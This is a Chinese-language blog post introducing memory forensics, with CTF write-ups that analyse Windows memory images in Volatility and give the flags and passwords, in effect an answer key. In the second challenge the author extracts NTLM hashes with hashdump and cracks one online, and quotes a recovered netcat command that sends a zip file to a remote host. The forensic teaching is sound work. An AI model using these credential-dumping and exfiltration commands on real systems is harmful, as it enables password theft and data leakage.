電子取證

m0re發表於2020-09-27

前言:比賽看到取證類的題目,但是沒了解過,所以很尷尬。比賽那道題沒做出來,沒有什麼思路,所以等下師傅們的wp看看之後在進行復現。然後就在CTF平臺上找了取證類的題目,進行學習一下。

知識瞭解

取證方法

  • 活取證
    —抓取檔案metadata、建立時間線、命令歷史、分析日誌檔案、雜湊摘要、轉存記憶體資訊
    —使用未受感染的乾淨程式執行取證
    —U盤/網路 儲存收集到的資料
  • 死取證
    —關機後製作硬碟映象、分析映象(MBR、GPT、LVM)

取證工具

目前學習kali中部分取證工具的使用。
記憶體dump工具

  • 記憶體檔案與記憶體大小接近或者稍微大點,raw格式。

取證工具volatility使用:
分析記憶體檔案

>>> volatility imageinfo -f xp.raw		#檔案資訊,關注profile
>>> volatility hivelist -f xp.raw --profile=WinXPSP3x86		#資料庫檔案
>>> volatility -f xp.raw --profile=WinXPSP3x86 hivedump -o 0xe124f8a8		#按虛擬機器記憶體地址檢視登錄檔內容
>>> volatility -f xp.raw --profile=WinXPSP3x86 printkey -K "SAM\Domains\Account\User\Names"		#使用者賬號
>>> volatility -f xp.raw --profile=WinXPSP3x86 printkey -K "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogin"		#最後登入的使用者
>>> volatility -f xp.raw --profile=WinXPSP3x86 userassist 		#正在執行的程式、執行過多少次、最後一次執行時間等

工具安裝

我的是2020版本的kali,沒有自帶volatility,但是包管理中有,直接使用命令安裝

apt-get install volatility

很快就安裝好啦,百度也可以找到很多教程。不再細說。
然後就利用幾道題來測試一下。

forensic

來自BUUCTF的題目。
下載後是一個512MB的raw檔案,直接工具分析
m0re
這個有三個,一般是第一個。說一下,第一步,第一步必須先檢測這個檔案時什麼系統生成的,後面的命令操作都需要profile,是必須指明作業系統的。所以這個很重要。

小插曲

使用工具時遇到這樣的情況,
m0re
報錯資訊:No suggestion (Instantiated with no profile)
這個其實跟工具沒關係,原因就是開啟的檔案不是符合規則的檔案,也就是這個檔案不是raw檔案,所以沒有suggest。昨天我一直以為是我的工具問題,著急半天,其實就是開啟的檔案不是volatility可以分析的檔案。
OK,小插曲結束。
繼續解題……
檢視程式

volatility -f mem.raw --profile=Win7SP1x86_23418 pslist

m0re
注意這四個程式,
Dumpit.exe 一款記憶體映象提取工具。

TrueCrypt.exe 一款磁碟加密工具。

Notepad.exe windows自帶的記事本。

Mspaint.exe windows自帶畫圖工具。

檢視使用者Home目錄的檔案,可以發現有一個使用者儲存的圖片檔案

volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'

m0re
發現在picture中有個無標題的圖片,
可以將這個圖片dump下來

volatility -f mem.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000001efb29f8  --dump-dir=./

就可以在當前工作目錄看到這個檔案了。我的是在桌面。
m0re
檢視桌面檔案

volatility -f mem.raw --profile=Win7SP1x86 filescan | grep "Desktop"

m0re
這個軟體在桌面執行,還看到它的LETHALBE3A-20190916-135515.raw檔案也在,這個檔案是dumpit生成的,然後dump下這個檔案
m0re
但是桌面上什麼也沒有,說明這個檔案還沒內容,也就是指明,在取證的時候,dumpit還在執行狀態,所以raw裡才沒有資料。
然後可以dump下dumpit的記憶體映象來試試。

volatility -f mem.raw --profile=Win7SP1x86 memdump -p 3380 -D ./

m0re
然後分析3380.dmp檔案。
foremost分離得到一個包含flag.txt的一個檔案。
m0re
找了好久發現在壓縮包裡
m0re
密碼就是之前的那個無標題的圖片內容。
1YxfCQ6goYBD6Q
m0re

未知題目

m0re
題目來源——https://www.freebuf.com/news/145262.html
同樣的姿勢,先檢視作業系統的資訊。使用imageinfo
發現是WinXPSP2x86
題目說在桌面寫著什麼,可能是記事本,不過不確定,可以pslist列一下。
m0re
看一遍,記事本才有可能寫東西,所以直接列出notepad的內容

volatility -f m0re.raw --profile=WinXPSP2x86 notepad

發現有一串編碼。
m0re

666C61677B57336C6563306D655F376F5F466F72336E356963737D

符合base16編碼的規則。所以進行解密得到第一個flag。
flag{W3lec0me_7o_For3n5ics}
第二個問題,小白的密碼,
hashdump可以將記憶體中的NTML提取出來:

volatility -f m0re.raw --profile=WinXPSP2x86 hashdump

m0re
找個線上網站進行破解1e581aafa474dfadfdf83fc31e4fd4ea
破解得到flag{19950101}
果然一般都是生日當密碼。
第三個
傳送檔案就需要連線外機,剛看到有nc,所以他一定是用nc來傳輸檔案的,這樣一來就有目標了。使用connscan外掛檢視
m0re
可以看到本地機器是192.168.57.21的1045埠去連線了遠端的192.168.57.14的2333埠,程式號是120,知道程式號就可以使用psscan(程式池掃描外掛)來獲取資訊。
m0re
看到了確實是nc,而且還有cmd,則說明是在cmd的命令列下使用的nc連線的外機。使用cmdscan外掛來檢視命令歷史記錄。
m0re
看到使用了命令

ipconfig
cd C:\Program Files\Netcat
nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip

傳輸的檔案是P@ssW0rd_is_y0ur_bir7hd4y.zip
可以使用memdump外掛(轉儲程式的可定址記憶體資料外掛)匯出使用nc傳送的相關資料:

volatility -f m0re.raw --profile=WinXPSP2x86 memdump -p 120 --dump-dir=./

桌面生成一個120.dmp
跟上一題一樣,foremost分離檔案
有六個zip檔案,挨個開啟看看,輸入密碼19950101得到flag
m0re
到此,記憶體取證入門。下次再詳細地學習活取證和死取證

參考部落格
http://www.bubuko.com/infodetail-3418258.html
記憶體取證三項CTF賽題詳解

相關文章